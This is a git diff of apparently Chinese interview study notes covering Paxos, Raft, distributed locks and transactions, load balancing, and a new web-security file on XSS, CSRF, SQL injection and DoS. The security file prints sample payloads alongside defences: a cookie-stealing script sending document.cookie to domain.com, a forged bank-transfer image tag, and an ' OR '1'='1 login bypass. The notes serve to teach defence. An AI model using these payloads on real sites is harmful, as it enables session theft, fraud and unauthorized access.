协调者在 2PC 中起到非常大的作用,发生故障将会造成很大影响,特别是在阶段二发生故障,所有参与者会一直等待状态,无法完成其它操作。
### 3. 数据不一致
在阶段二,如果协调者只发送了部分 Commit 消息,此时网络发生异常,那么只有部分参与者接收到 Commit 消息,也就是说只有部分参与者提交了事务,使得系统数据不一致。
### 4. 太过保守
任意一个节点失败就会导致整个事务失败,没有完善的容错机制。
# 四、Paxos
用于达成共识性问题,即对多个节点产生的值,该算法能保证只选出唯一一个值。 用于达成共识性问题,即对多个节点产生的值,该算法能保证只选出唯一一个值。
@ -137,7 +246,7 @@ ACID 要求强一致性,通常运用在传统的数据库系统上。而 BASE
- 接受者Acceptor对每个提议进行投票 - 接受者Acceptor对每个提议进行投票
- 告知者Learner被告知投票的结果不参与投票过程。 - 告知者Learner被告知投票的结果不参与投票过程。
<div align="center"> <img src="../pics//b988877c-0f0a-4593-916d-de2081320628.jpg" width=""/> </div><br> <div align="center"> <img src="../pics//b988877c-0f0a-4593-916d-de2081320628.jpg"/> </div><br>
## 执行过程 ## 执行过程
@ -145,19 +254,19 @@ ACID 要求强一致性,通常运用在传统的数据库系统上。而 BASE
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向所有 Acceptor 发送提议请求。 下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向所有 Acceptor 发送提议请求。
<div align="center"> <img src="../pics//1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png" width=""/> </div><br> <div align="center"> <img src="../pics//1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png"/> </div><br>
当 Acceptor 接收到一个提议请求,包含的提议为 [n1, v1],并且之前还未接收过提议请求,那么发送一个提议响应,设置当前接收到的提议为 [n1, v1],并且保证以后不会再接受序号小于 n1 的提议。 当 Acceptor 接收到一个提议请求,包含的提议为 [n1, v1],并且之前还未接收过提议请求,那么发送一个提议响应,设置当前接收到的提议为 [n1, v1],并且保证以后不会再接受序号小于 n1 的提议。
如下图Acceptor X 在收到 [n=2, v=8] 的提议请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的提议响应,设置当前接收到的提议为 [n=2, v=8],并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。 如下图Acceptor X 在收到 [n=2, v=8] 的提议请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的提议响应,设置当前接收到的提议为 [n=2, v=8],并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
<div align="center"> <img src="../pics//fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg" width=""/> </div><br> <div align="center"> <img src="../pics//fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg"/> </div><br>
如果 Acceptor 接收到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2那么就丢弃该提议请求否则发送提议响应该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。 如果 Acceptor 接收到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2那么就丢弃该提议请求否则发送提议响应该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
如下图Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2因此就抛弃该提议请求Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求,因为之前接收到的提议为 [n=2, v=8],并且 2 <= 4因此就发送 [n=2, v=8] 的提议响应,设置当前接收到的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。 如下图Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2因此就抛弃该提议请求Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求,因为之前接收到的提议为 [n=2, v=8],并且 2 <= 4因此就发送 [n=2, v=8] 的提议响应,设置当前接收到的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
<div align="center"> <img src="../pics//2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg" width=""/> </div><br> <div align="center"> <img src="../pics//2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg"/> </div><br>
当一个 Proposer 接收到超过一半 Acceptor 的提议响应时,就可以发送接受请求。 当一个 Proposer 接收到超过一半 Acceptor 的提议响应时,就可以发送接受请求。
@ -165,26 +274,31 @@ Proposer A 接收到两个提议响应之后,就发送 [n=2, v=8] 接受请求
Proposer B 过后也收到了两个提议响应,因此也开始发送接受请求。需要注意的是,接受请求的 v 需要取它收到的最大 v 值,也就是 8。因此它发送 [n=4, v=8] 的接受请求。 Proposer B 过后也收到了两个提议响应,因此也开始发送接受请求。需要注意的是,接受请求的 v 需要取它收到的最大 v 值,也就是 8。因此它发送 [n=4, v=8] 的接受请求。
<div align="center"> <img src="../pics//9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png" width=""/> </div><br> <div align="center"> <img src="../pics//9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png"/> </div><br>
Acceptor 接收到接受请求时,如果序号大于等于该 Acceptor 承诺的最小序号,那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。 Acceptor 接收到接受请求时,如果序号大于等于该 Acceptor 承诺的最小序号,那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
<div align="center"> <img src="../pics//bf667594-bb4b-4634-bf9b-0596a45415ba.jpg" width=""/> </div><br> <div align="center"> <img src="../pics//bf667594-bb4b-4634-bf9b-0596a45415ba.jpg"/> </div><br>
## 约束条件 ## 约束条件
### 1. 正确性 ### 1\. 正确性
指只有一个提议值会生效。 指只有一个提议值会生效。
因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收,并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。 因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收,并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。
### 2. 可终止性 ### 2\. 可终止性
指最后总会有一个提议生效。 指最后总会有一个提议生效。
Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。 Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。
参考:
- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
# 五、Raft # 五、Raft
Raft 和 Paxos 类似,但是更容易理解,也更容易实现。 Raft 和 Paxos 类似,但是更容易理解,也更容易实现。
@ -195,55 +309,51 @@ Raft 主要是用来竞选主节点。
有三种节点Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间,一般为 150ms\~300ms如果在这个时间内没有收到 Leader 的心跳包,就会变成 Candidate进入竞选阶段。 有三种节点Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间,一般为 150ms\~300ms如果在这个时间内没有收到 Leader 的心跳包,就会变成 Candidate进入竞选阶段。
- 下图表示一个分布式系统的最初阶段,此时只有 Follower没有 Leader。Follower A 等待一个随机的竞选超时时间之后,没收到 Leader 发来的心跳包,因此进入竞选阶段。 * 下图表示一个分布式系统的最初阶段,此时只有 Follower没有 Leader。Follower A 等待一个随机的竞选超时时间之后,没收到 Leader 发来的心跳包,因此进入竞选阶段。
<div align="center"> <img src="../pics//111521118015898.gif" width=""/> </div><br> <div align="center"> <img src="../pics//111521118015898.gif"/> </div><br>
- 此时 A 发送投票请求给其它所有节点。 * 此时 A 发送投票请求给其它所有节点。
<div align="center"> <img src="../pics//111521118445538.gif" width=""/> </div><br> <div align="center"> <img src="../pics//111521118445538.gif"/> </div><br>
- 其它节点会对请求进行回复,如果超过一半的节点回复了,那么该 Candidate 就会变成 Leader。 * 其它节点会对请求进行回复,如果超过一半的节点回复了,那么该 Candidate 就会变成 Leader。
<div align="center"> <img src="../pics//111521118483039.gif" width=""/> </div><br> <div align="center"> <img src="../pics//111521118483039.gif"/> </div><br>
- 之后 Leader 会周期性地发送心跳包给 FollowerFollower 接收到心跳包,会重新开始计时。 * 之后 Leader 会周期性地发送心跳包给 FollowerFollower 接收到心跳包,会重新开始计时。
<div align="center"> <img src="../pics//111521118640738.gif" width=""/> </div><br> <div align="center"> <img src="../pics//111521118640738.gif"/> </div><br>
## 多个 Candidate 竞选 ## 多个 Candidate 竞选
* 如果有多个 Follower 成为 Candidate并且所获得票数相同那么就需要重新开始投票例如下图中 Candidate B 和 Candidate D 都获得两票,因此需要重新开始投票。 * 如果有多个 Follower 成为 Candidate并且所获得票数相同那么就需要重新开始投票例如下图中 Candidate B 和 Candidate D 都获得两票,因此需要重新开始投票。
<div align="center"> <img src="../pics//111521119203347.gif" width=""/> </div><br> <div align="center"> <img src="../pics//111521119203347.gif"/> </div><br>
* 当重新开始投票时,由于每个节点设置的随机竞选超时时间不同,因此能下一次再次出现多个 Candidate 并获得同样票数的概率很低。 * 当重新开始投票时,由于每个节点设置的随机竞选超时时间不同,因此能下一次再次出现多个 Candidate 并获得同样票数的概率很低。
<div align="center"> <img src="../pics//111521119368714.gif" width=""/> </div><br> <div align="center"> <img src="../pics//111521119368714.gif"/> </div><br>
## 日志复制 ## 日志复制
- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交只是写入日志中。 * 来自客户端的修改都会被传入 Leader。注意该修改还未被提交只是写入日志中。
<div align="center"> <img src="../pics//7.gif" width=""/> </div><br> <div align="center"> <img src="../pics//7.gif"/> </div><br>
- Leader 会把修改复制到所有 Follower。 * Leader 会把修改复制到所有 Follower。
<div align="center"> <img src="../pics//9.gif" width=""/> </div><br> <div align="center"> <img src="../pics//9.gif"/> </div><br>
- Leader 会等待大多数的 Follower 也进行了修改,然后才将修改提交。 * Leader 会等待大多数的 Follower 也进行了修改,然后才将修改提交。
<div align="center"> <img src="../pics//10.gif" width=""/> </div><br> <div align="center"> <img src="../pics//10.gif"/> </div><br>
- 此时 Leader 会通知的所有 Follower 让它们也提交修改,此时所有节点的值达成一致。 * 此时 Leader 会通知的所有 Follower 让它们也提交修改,此时所有节点的值达成一致。
<div align="center"> <img src="../pics//11.gif" width=""/> </div><br> <div align="center"> <img src="../pics//11.gif"/> </div><br>
# 参考资料 参考:
- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft) - [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)

View File

@ -1,257 +0,0 @@
<!-- GFM-TOC -->
* [一、分布式锁](#一分布式锁)
* [数据库的唯一索引](#数据库的唯一索引)
* [Redis 的 SETNX 指令](#redis-的-setnx-指令)
* [Redis 的 RedLock 算法](#redis-的-redlock-算法)
* [Zookeeper 的有序节点](#zookeeper-的有序节点)
* [二、分布式事务](#二分布式事务)
* [本地消息表](#本地消息表)
* [两阶段提交协议](#两阶段提交协议)
* [三、分布式 Session](#三分布式-session)
* [Sticky Sessions](#sticky-sessions)
* [Session Replication](#session-replication)
* [Session Server](#session-server)
* [四、负载均衡](#四负载均衡)
* [算法](#算法)
* [实现](#实现)
<!-- GFM-TOC -->
# 一、分布式锁
在单机场景下,可以使用 Java 提供的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。
阻塞锁通常使用互斥量来实现,互斥量为 1 表示有其它进程在使用锁,此时处于锁定状态,互斥量为 0 表示未锁定状态。1 和 0 可以用一个整型值来存储,也可以用某个数据存在或者不存在来存储,某个数据存在表示互斥量为 1。
## 数据库的唯一索引
当想要获得锁时,就向表中插入一条记录,释放锁时就删除这条记录。唯一索引可以保证该记录只被插入一次,那么就可以用这个记录是否存在来判断是否存于锁定状态。
存在以下几个问题:
- 锁没有失效时间,解锁失败的话其他线程无法再获得锁。
- 只能是非阻塞锁,插入失败直接就报错了,无法重试。
- 不可重入,已经获得锁的进程也必须重新获取锁。
## Redis 的 SETNX 指令
使用 SETNXset if not exist指令插入一个键值对如果 Key 已经存在,那么会返回 False否则插入成功并返回 True。
SETNX 指令和数据库的唯一索引类似,可以保证只存在一个 Key 的键值对,可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
EXPIRE 指令可以为一个键值对设置一个过期时间,从而避免了数据库唯一索引实现方式中释放锁失败的问题。
## Redis 的 RedLock 算法
使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时仍然可用。
- 尝试从 N 个相互独立 Redis 实例获取锁,如果一个实例不可用,应该尽快尝试下一个。
- 计算获取锁消耗的时间只有当这个时间小于锁的过期时间并且从大多数N/2+1实例上获取了锁那么就认为锁获取成功了。
- 如果锁获取失败,会到每个实例上释放锁。
## Zookeeper 的有序节点
### 1. Zookeeper 抽象模型
Zookeeper 提供了一种树形结构级的命名空间,/app1/p_1 节点表示它的父节点为 /app1。
<div align="center"> <img src="../pics//31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
### 2. 节点类型
- 永久节点:不会因为会话结束或者超时而消失;
- 临时节点:如果会话结束或者超时就会消失;
- 有序节点:会在节点名的后面加一个数字后缀,并且是有序的,例如生成的有序节点为 /lock/node-0000000000它的下一个有序节点则为 /lock/node-0000000001以此类推。
### 3. 监听器
为一个节点注册监听器,在节点状态发生改变时,会给客户端发送消息。
### 4. 分布式锁实现
- 创建一个锁目录 /lock
- 当一个客户端需要获取锁时,在 /lock 下创建临时的且有序的子节点;
- 客户端获取 /lock 下的子节点列表,判断自己创建的子节点是否为当前子节点列表中序号最小的子节点,如果是则认为获得锁;否则监听自己的前一个子节点,获得子节点的变更通知后重复此步骤直至获得锁;
- 执行业务代码,完成后,删除对应的子节点。
### 5. 会话超时
如果一个已经获得锁的会话超时了因为创建的是临时节点所以该会话对应的临时节点会被删除其它会话就可以获得锁了。可以看到Zookeeper 分布式锁不会出现数据库的唯一索引实现分布式锁的释放锁失败问题。
### 6. 羊群效应
一个节点未获得锁,需要监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知(羊群效应),而我们只希望它的后一个子节点收到通知。
参考:
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
- [Distributed locks with Redis](https://redis.io/topics/distlock)
- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
# 二、分布式事务
指事务的操作位于不同的节点上,需要保证事务的 AICD 特性。例如在下单场景下,库存和订单如果不在同一个节点上,就涉及分布式事务。
## 本地消息表
### 1. 原理
本地消息表与业务数据表处于同一个数据库中,这样就能利用本地事务来保证在对这两个表的操作满足事务特性。
1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息,本地事务能保证这个消息一定会被写入本地消息表中。
2. 之后将本地消息表中的消息转发到 Kafka 等消息队列MQ如果转发成功则将消息从本地消息表中删除否则继续重新转发。
3. 在分布式事务操作的另一方从消息队列中读取一个消息,并执行消息中的操作。
<div align="center"> <img src="../pics//e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
### 2. 分析
本地消息表利用了本地事务来实现分布式事务,并且使用了消息队列来保证最终一致性。
## 两阶段提交协议
[CyC2018/Interview-Notebook/一致性.md/2PC](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E4%B8%80%E8%87%B4%E6%80%A7.md)
参考:
- [聊聊分布式事务,再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
# 三、分布式 Session
在分布式场景下,一个用户的 Session 如果只存储在一个服务器上,那么当负载均衡器把用户的下一个请求转发到另一个服务器上,该服务器没有用户的 Session就可能导致用户需要重新进行登录等操作。
## Sticky Sessions
需要配置负载均衡器,使得一个用户的所有请求都路由到一个服务器节点上,这样就可以把用户的 Session 存放在该服务器节点中。
缺点:当服务器节点宕机时,将丢失该服务器节点上的所有 Session。
<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
## Session Replication
在服务器节点之间进行 Session 同步操作,这样的话用户可以访问任何一个服务器节点。
缺点:占用过多内存;同步过程占用网络带宽以及服务器处理器时间。
<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
## Session Server
使用一个单独的服务器存储 Session 数据,可以存在 MySQL 数据库上,也可以存在 Redis 或者 Memcached 这种内存型数据库。
缺点:需要去实现存取 Session 的代码。
<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
参考:
- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
# 四、负载均衡
## 算法
### 1. 轮询Round Robin
轮询算法把每个请求轮流发送到每个服务器上。下图中,一共有 6 个客户端产生了 6 个请求,这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后,(1, 3, 5) 的请求会被发送到服务器 1(2, 4, 6) 的请求会被发送到服务器 2。
<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担过大的负载(下图的 Server 2
<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
### 2. 加权轮询Weighted Round Robbin
加权轮询是在轮询的基础上,根据服务器的性能差异,为服务器赋予一定的权值。例如下图中,服务器 1 被赋予的权值为 5服务器 2 被赋予的权值为 1那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1(6) 请求会被发送到服务器 2。
<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
### 3. 最少连接least Connections
由于每个请求的连接时间不一样,使用轮询或者加权轮询算法的话,可能会让一台服务器当前连接数过大,而另一台服务器的连接过小,造成负载不均衡。例如下图中,(1, 3, 5) 请求会被发送到服务器 1但是 (1, 3) 很快就断开连接,此时只有 (5) 请求连接服务器 1(2, 4, 6) 请求被发送到服务器 2只有 (2) 的连接断开。该系统继续运行时,服务器 2 会承担过大的负载。
<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
最少连接算法就是将请求发送给当前最少连接数的服务器上。例如下图中,服务器 1 当前连接数最小,那么新到来的请求 6 就会被发送到服务器 1 上。
<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
### 4. 加权最少连接Weighted Least Connection
在最少连接的基础上,根据服务器的性能为每台服务器分配权重,再根据权重计算出每台服务器能处理的连接数。
<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
### 5. 随机算法Random
把请求随机发送到服务器上。和轮询算法类似,该算法比较适合服务器性能差不多的场景。
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
### 6. 源地址哈希法 (IP Hash)
源地址哈希通过对客户端 IP 哈希计算得到的一个数值,用该数值对服务器数量进行取模运算,取模结果便是目标服务器的序号。
- 优点:保证同一 IP 的客户端都会被 hash 到同一台服务器上。
- 缺点:不利于集群扩展,后台服务器数量变更都会影响 hash 结果。可以采用一致性 Hash 改进。
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
## 实现
### 1. HTTP 重定向
HTTP 重定向负载均衡服务器收到 HTTP 请求之后会返回服务器的地址,并将该地址写入 HTTP 重定向响应中返回给浏览器,浏览器收到后需要再次发送请求。
缺点:
- 用户访问的延迟会增加;
- 如果负载均衡器宕机,就无法访问该站点。
<div align="center"> <img src="../pics//10bdf7bf-0daa-4a26-b927-f142b3f8e72b.png"/> </div><br>
### 2. DNS 重定向
使用 DNS 作为负载均衡器,根据负载情况返回不同服务器的 IP 地址。
大型网站基本使用了这种方式做为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。
缺点:
- DNS 查找表可能会被客户端缓存起来,那么之后的所有请求都会被重定向到同一个服务器。
<div align="center"> <img src="../pics//f8b16d1e-7363-4544-94d6-4939fdf849dc.png"/> </div><br>
### 3. 修改 MAC 地址
使用 LVSLinux Virtual Server这种链路层负载均衡器根据负载情况修改请求的 MAC 地址。
<div align="center"> <img src="../pics//f0e35b7a-2948-488a-a5a9-97d3f6b5e2d7.png"/> </div><br>
### 4. 修改 IP 地址
在网络层修改请求的目的 IP 地址。
<div align="center"> <img src="../pics//265a355d-aead-48aa-b455-f33b62fe729f.png"/> </div><br>
### 5. 代理自动配置
正向代理与反向代理的区别:
- 正向代理:发生在客户端,是由用户主动发起的。比如翻墙,客户端通过主动访问代理服务器,让代理服务器获得需要的外网数据,然后转发回客户端。
- 反向代理:发生在服务器端,用户不知道代理的存在。
PAC 服务器是用来判断一个请求是否要经过代理。
<div align="center"> <img src="../pics//52e1af6f-3a7a-4bee-aa8f-fcb5dacebe40.jpg"/> </div><br>
参考:
- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
- [负载均衡算法及手段](https://segmentfault.com/a/1190000004492447)
- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)

219
notes/安全性.md Normal file
View File

@ -0,0 +1,219 @@
<!-- GFM-TOC -->
* [一、跨站脚本攻击](#一跨站脚本攻击)
* [二、跨站请求伪造](#二跨站请求伪造)
* [三、SQL 注入攻击](#三sql-注入攻击)
* [四、拒绝服务攻击](#四拒绝服务攻击)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、跨站脚本攻击
## 概念
跨站脚本攻击Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML 和 JavaScript。
例如有一个论坛网站,攻击者可以在上面发布以下内容:
```html
<script>location.href="//domain.com/?c=" + document.cookie</script>
```
之后该内容可能会被渲染成以下形式:
```html
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
## 危害
- 窃取用户的 Cookie 值
- 伪造虚假的输入表单骗取个人信息
- 显示伪造的文章或者图片
## 防范手段
### 1. 设置 Cookie 为 HttpOnly
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。
### 2. 过滤特殊字符
例如将 `<` 转义为 `&lt;`,将 `>` 转义为 `&gt;`,从而避免 HTML 和 Jascript 代码的运行。
## 富文本编辑器
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 `<` 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,可以定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。
以下例子中form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
```html
<h1 id="title">XSS Demo</h1>
<p class="text-center">
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
</p>
<form>
<input type="text" name="q" value="test">
<button id="submit">Submit</button>
</form>
<pre>hello</pre>
<p>
<a href="http://jsxss.com">http</a>
</p>
<h3>Features:</h3>
<ul>
<li>Specifies HTML tags and their attributes allowed with whitelist</li>
<li>Handle any tags or attributes using custom function</li>
</ul>
<script type="text/javascript">
alert(/xss/);
</script>
```
```html
<h1>XSS Demo</h1>
<p>
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
</p>
&lt;form&gt;
&lt;input type="text" name="q" value="test"&gt;
&lt;button id="submit"&gt;Submit&lt;/button&gt;
&lt;/form&gt;
<pre>hello</pre>
<p>
<a href="http://jsxss.com">http</a>
</p>
<h3>Features:</h3>
<ul>
<li>Specifies HTML tags and their attributes allowed with whitelist</li>
<li>Handle any tags or attributes using custom function</li>
</ul>
&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;
```
# 二、跨站请求伪造
## 概念
跨站请求伪造Cross-site request forgeryCSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户浏览器的信任。
假如一家银行用以执行转账操作的 URL 地址如下:
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
```
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
```
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
```
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
## 防范手段
### 1. 检查 Referer 首部字段
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 XSRF 攻击。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
### 2. 添加校验 Token
在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
### 3. 输入验证码
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。
也可以要求用户输入验证码来进行校验。
# 三、SQL 注入攻击
## 概念
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
## 攻击原理
例如一个网站登录验证的 SQL 查询代码为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
```
如果填入以下内容:
```sql
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
```
那么 SQL 查询字符串为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
```
此时无需验证通过就能执行以下查询:
```sql
strSQL = "SELECT * FROM users;"
```
## 防范手段
### 1. 使用参数化查询
Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
```java
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
```
### 2. 单引号转换
将传入的参数中的单引号转换为连续两个单引号PHP 中的 Magic quote 可以完成这个功能。
# 四、拒绝服务攻击
拒绝服务攻击denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。
分布式拒绝服务攻击distributed denial-of-service attackDDoS指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
# 参考资料
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
- [维基百科SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)

80
notes/消息队列.md Normal file
View File

@ -0,0 +1,80 @@
<!-- GFM-TOC -->
* [一、消息模型](#一消息模型)
* [点对点](#点对点)
* [发布/订阅](#发布订阅)
* [二、使用场景](#二使用场景)
* [异步处理](#异步处理)
* [流量削锋](#流量削锋)
* [应用解耦](#应用解耦)
* [三、可靠性](#三可靠性)
* [发送端的可靠性](#发送端的可靠性)
* [接收端的可靠性](#接收端的可靠性)
<!-- GFM-TOC -->
# 一、消息模型
